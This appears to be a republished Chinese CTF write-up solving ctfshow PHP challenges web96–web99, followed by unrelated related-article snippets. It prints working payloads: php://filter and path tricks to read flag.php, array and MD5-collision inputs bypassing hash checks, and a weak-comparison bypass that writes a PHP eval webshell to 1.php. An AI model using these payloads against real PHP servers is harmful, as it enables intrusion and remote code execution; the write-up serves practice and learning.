ctfshow-web入門-php特性(web96-web99)

目錄

1、web96

2、web97

3、web98

4、web99


1、web96

試了下通配、轉義、拼接、大小寫都不行

這里使用絕對路徑或者當前路徑繞過:

?u=./flag.php

?u=/var/www/html/flag.php

還可以使用 php 偽協議:

?u=php://filter/resource=flag.php

2、web97

關于 sha1 和 md5 的繞過可以參考我之前的博客:

PHP特性之CTF中常見的PHP繞過-CSDN博客

(1)對于php強比較和弱比較:md5() 和 sha1() 函數無法處理數組,如果傳入的為數組,會返回NULL,兩個數組經過加密后得到的都是NULL,也就是相等的。

使用數組繞過,payload:

a[]=1&b[]=2

拿到 flag:ctfshow{2e3efa82-aa01-4871-b26d-7b8cd6b1d449}

(2)對于某些特殊的字符串加密后得到的密文以0e開頭,PHP會當作科學計數法來處理,也就是0的n次方,得到的值比較的時候都相同。

下面是常見的加密后密文以0e開頭的字符串:

md5:240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361sha1:10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

但是這里并不是弱比較,因此該方法不行:

對于 md5 強碰撞,我們需要找到兩個 md5 值真正相同的數據。

(1)

十六進制格式的兩個不同字符串:

4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2

兩者都有 MD5 哈希:?

008ee33a9d58b51cfeb425b0959121c9

(2)

0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef
0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef

兩者都有 MD5 哈希:

cee9a457e790cf20d4bdaa6d69f01e41

但是這些十六進制里存在一些不可見字符:?

因此我們采用?url 編碼來構造 payload:?

有點奇怪我這里順著轉出來和下面的 payload 有點差別,但是下面的 payload 逆著轉回去又是和上面的十六進制值完全一樣。

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

后面又看了一下:

開頭 M 之后的字符確實應該被轉成 %C9 才是對的

但是?%C3%89 也是轉成這個東西

按照這樣轉出來的 payload 打不通,還是要使用上面給的那個 %C9 的payload。

3、web98

這里出現了 PHP 中的三元運算符:形如 XXXX?XX:xx

如果條件 XXXX 成立,則執行冒號前邊的 XX,否則執行冒號后面的 xx

比如:isset($_GET['id']) ? $_GET['id'] : 1;

isset()函數用于檢查變量是否設置,如果設置了,則 id=$_GET['id'],否則 id=1。

接下來我們分析下題目代碼:

$_GET?$_GET=&$_POST:'flag';

$_GET 變量是一個數組,預定義的 $_GET 變量用于收集來自 method="get" 的表單中的值,表單域的名稱會自動成為 $_GET 數組中的鍵。

如果 $_GET 不為空,也就是說我們進行了 get 傳參,那么就會通過 $_GET = &$_POST 將 $_POST 的引用賦值給 $_GET,引用賦值導致兩個變量指向同一個內存地址,而 $_POST 變量內容改變會影響 $_GET 變量的內容;如果 $_GET 為空則返回? 'flag'。

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

中間的兩段代碼其實沒什么影響,都是根據 get 請求變量 flag 值是否為 'flag',是的話就進行引用賦值,不是的話就返回 'flag',我們只想獲取 $flag。

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

判斷 get 請求變量 HTTP_FLAG 值是否為 'flag',是就輸出 $flag,不是則返回當前腳本的絕對路徑和文件名。

payload:

?HTTP_FLAG=flag

post:

HTTP_FLAG=flag

拿到 flag:ctfshow{ba1bc737-de2f-45f5-9e24-a65bec06b0f9}

當然這里的 get 請求其實可以是隨意的,由于第一段代碼的引用賦值,post 進去的內容會直接替代掉?get 的內容,因此只要存在 get 請求即可觸發。

4、web99

代碼審計:

$allow = array();

創建了一個空數組 $allow,用來存儲后續生成的隨機數。

for ($i=36; $i < 0x36d; $i++) {

for 循環,從 $i 初始化為 36,逐步增加直到 0x36d(十六進制表示的 877)。

array_push($allow, rand(1,$i));

在每次循環中,使用 rand(1, $i) 函數生成一個 1 到 $i 之間的隨機數(也就是 1~877),并將其添加到 $allow 數組中。

if(isset($_GET['n']) && in_array($_GET['n'], $allow)){

檢查是否設置了名為 n 的 GET 參數,并且確保它的值在 $allow 數組中。

file_put_contents($_GET['n'], $_POST['content']);

如果 $_GET['n'] 的值在 $allow 數組中,將 $_POST['content'] 的內容寫入文件 $_GET['n'] 中。

?

接下來我們先看一個關于 in_array 函數的小測試:

<?php
$allow = [1,2,3];
$a = '2.php';
echo in_array($a,$allow)
?>

結論:in_array() 函數存在弱比較的漏洞,如果沒有設置第三個參數,in_array() 函數在比較時默認是弱類型比較,這意味著它會進行自動類型轉換。例如數組中的元素是整數,而搜索的值是字符串,PHP 會嘗試將字符串轉換為整數來進行比較。比如上面字符串類型的 1.php 就自動轉換為了整數?1,也就符合在數組中的條件。

關于 in_array() 函數的參數和用法:

參數描述
needle必需。規定要在數組搜索的值。
haystack必需。規定要搜索的數組。
strict可選。如果該參數設置為 TRUE,則 in_array() 函數檢查搜索的數據與數組的值的類型是否相同。

因此我們的文件名的數字只要符合在 1~877 之間,理論上來說就都可以寫入一句話木馬。

保險起見我們使用大概率會出現的,比如 1 ,多試幾次。

寫入一句話木馬

get:

?n=1.php

post:

content=<?=eval($_REQUEST['1'])?>

調用:

讀取 flag:

ctfshow{d3a99707-235d-4b10-a9e7-551000feba02}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/44981.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/44981.shtml
英文地址,請注明出處:http://en.pswp.cn/web/44981.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

數據結構(Java):力扣Stack集合OJ題

1、括號匹配問題 . - 力扣&#xff08;LeetCode&#xff09; 1.1 思路分析 根據棧的先進后出原則&#xff0c;我們可以這樣解決問題&#xff1a; 遍歷字符串&#xff0c;遇見左括號就將左括號push入棧&#xff1b;遇見右括號就pop出棧&#xff0c;將出棧的元素和該右括號比較…

pyparsing開啟調試

在要匹配的表達后添加set_debug

【密碼學】實現消息認證或數字簽名的幾種方式

消息認證的目的是驗證消息的完整性和確認消息的來源。數字簽名的目的是不僅驗證消息的完整性和來源&#xff0c;還提供了不可否認性。此外&#xff0c;數字簽名還可以驗證消息的創建時間&#xff0c;防止重放攻擊。那么具體有哪些實現的方式呢&#xff1f; 一、僅提供消息認證…

python練習(if--else)

通過input語句獲取鍵盤輸入的身高 判斷身高是否超過120cm&#xff0c;并通過print給出提示信息。 代碼輸出示例&#xff1a; 1.歡迎來到樂園。 請輸入你的身高&#xff08;cm&#xff09;&#xff1a;130 您的身高超出120cm&#xff0c;游玩需要夠票10元。 祝您游玩愉快。 2…

文件內容查閱

cat concatenate files and print on the standard output Linux中一個最簡單的且最常用的命令是cat命令。其功能是在終端設備上顯示文件內容。 cat命令-n選項用于顯示行號。 tac concatenate and print files in reverse tac命令的功能是用于反向顯示文件內容&#xff0c;即…

計算機網絡復習筆記【面向考綱整理】

計算機網絡復習筆記 一、計算機網絡體系結構&#xff08;一&#xff09;計算機網絡的概念、分類、組成與功能1.計算機網絡的概念、組成與功能1.1計算機網絡的概念1.2計算機網絡的組成1.3計算機網絡的功能 2.計算機網絡的分類3.計算機網絡的標準化工作及相關知識 &#xff08;二…

MT6816磁編碼IC在工控機器人中的應用

在現代工業自動化領域&#xff0c;高精度的位置檢測和控制技術對于機器人系統的穩定運行至關重要。MT6816磁編碼IC作為一款先進的磁傳感器解決方案&#xff0c;以其卓越的性能和穩定性&#xff0c;在工控機器人中得到了廣泛的應用。本文將詳細探討MT6816磁編碼IC在工控機器人中…

azure學習在日本IT工作的重要性

在日本數字化轉型的浪潮中,微軟Azure已經成為眾多企業的首選云平臺。作為全球第二大云服務提供商,Azure在日本市場的重要性與日俱增。本文將探討為什么學習Azure對日本IT專業人士至關重要,以及如何通過lalapodo云原生技術的培訓課程,快速掌握這一關鍵技能。 Azure在日本的戰略地…

血液及造血系統疾病病人的護理

一、血液及造血系統疾病病人的基礎護理 對于患有血液及造血系統疾病的病人&#xff0c;護理工作的重點首先在于密切監測生命體征&#xff0c;包括體溫、心率、呼吸頻率和血壓。 飲食護理也十分關鍵&#xff0c;要保證病人攝入充足的營養&#xff0c;以增強抵抗力。例如&#xf…

【Django+Vue3 線上教育平臺項目實戰】構建高效線上教育平臺之首頁模塊

文章目錄 前言一、導航功能實現a.效果圖&#xff1a;b.后端代碼c.前端代碼 二、輪播圖功能實現a.效果圖b.后端代碼c.前端代碼 三、標簽欄功能實現a.效果圖b.后端代碼c.前端代碼 四、側邊欄功能實現1.整體效果圖2.側邊欄功能實現a.效果圖b.后端代碼c.前端代碼 3.側邊欄展示分類及…

element UI時間組件兩種使用方式

加油&#xff0c;新時代打工&#xff01; 組件官網&#xff1a;https://element.eleme.cn/#/zh-CN/component/date-picker 先上效果圖&#xff0c;如下&#xff1a; 第一種實現方式 <div class"app-container"><el-formref"submitForm":model&q…

Linux C++ 052-設計模式之享元模式

Linux C 052-設計模式之享元模式 本節關鍵字&#xff1a;Linux、C、設計模式、享元模式 相關庫函數&#xff1a; 概念 享元模式&#xff08;FlyWeight&#xff09;&#xff0c;運用共享技術有效的支持大量細粒度的對象。 典型的享元模式的例子為文書處理器中以圖形結構來表…

探索 Prompt 的世界:讓你的 AI 更智能

探索 Prompt 的世界&#xff1a;讓你的 AI 更智能 引言什么是 Prompt&#xff1f;Prompt 的重要性如何編寫有效的 Prompt1. 清晰明確2. 包含關鍵細節3. 提供上下文 實踐中的 Prompt 技巧1. 多次迭代2. 實驗不同風格3. 結合實際應用 總結 引言 隨著人工智能&#xff08;AI&…

數據恢復篇:適用于 Android 的恢復工具

正在擺弄 Android 設備。突然&#xff0c;您意外刪除了一張或多張圖片。不用擔心&#xff0c;您總能找到一款價格實惠的照片恢復應用。這款先進的軟件可幫助 Android 用戶從硬盤、安全數字 (SD) 或存儲卡以及數碼相機中恢復已刪除的圖片。 Android 上文件被刪除的主要原因 在獲…

采用自動微分進行模型的訓練

自動微分訓練模型 簡單代碼實現&#xff1a; import torch import torch.nn as nn import torch.optim as optim# 定義一個簡單的線性回歸模型 class LinearRegression(nn.Module):def __init__(self):super(LinearRegression, self).__init__()self.linear nn.Linear(1, 1) …

【Linux】數據流重定向

數據流重定向&#xff08;redirect&#xff09;由字面上的意思來看&#xff0c;好像就是將【數據給它定向到其他地方去】的樣子&#xff1f; 沒錯&#xff0c;數據流重定向就是將某個命令執行后應該要出現在屏幕上的數據&#xff0c;給它傳輸到其他的地方&#xff0c;例如文件或…

[圖解]企業應用架構模式2024新譯本講解26-層超類型2

1 00:00:00,510 --> 00:00:03,030 這個時候&#xff0c;如果再次查找所有人員 2 00:00:03,040 --> 00:00:03,750 我們會發現 3 00:00:05,010 --> 00:00:06,370 這一次所有的對象 4 00:00:06,740 --> 00:00:08,690 都是來自標識映射的 5 00:00:10,540 --> 00…

VB 上位機開發

VB 上位機開發第一節 在 VB(Visual Basic)上位機開發的第一節課程中涵蓋以下基礎內容: 一、上位機開發簡介 解釋上位機的概念和作用,它是與硬件設備進行通信和控制的軟件應用程序。舉例說明上位機在工業自動化、智能家居、監控系統等領域的應用。二、VB 開發環境介紹 展示如…

2024遼寧省數學建模C題【改性生物碳對水中洛克沙胂和砷離子的吸附】原創論文分享

大家好呀&#xff0c;從發布賽題一直到現在&#xff0c;總算完成了2024 年遼寧省大學數學建模競賽C題改性生物碳對水中洛克沙胂和砷離子的吸附完整的成品論文。 本論文可以保證原創&#xff0c;保證高質量。絕不是隨便引用一大堆模型和代碼復制粘貼進來完全沒有應用糊弄人的垃…

Rubber Duck Debugging: History and Benefits 橡皮鴨調試:歷史和優勢

注&#xff1a;機翻&#xff0c;未校對。 Discover the origins of rubber duck debugging, why it works, and why it has become so popular among programmers. 了解橡皮鴨調試的起源&#xff0c;它為什么有效&#xff0c;以及為什么它在程序員中如此受歡迎。 Debugging co…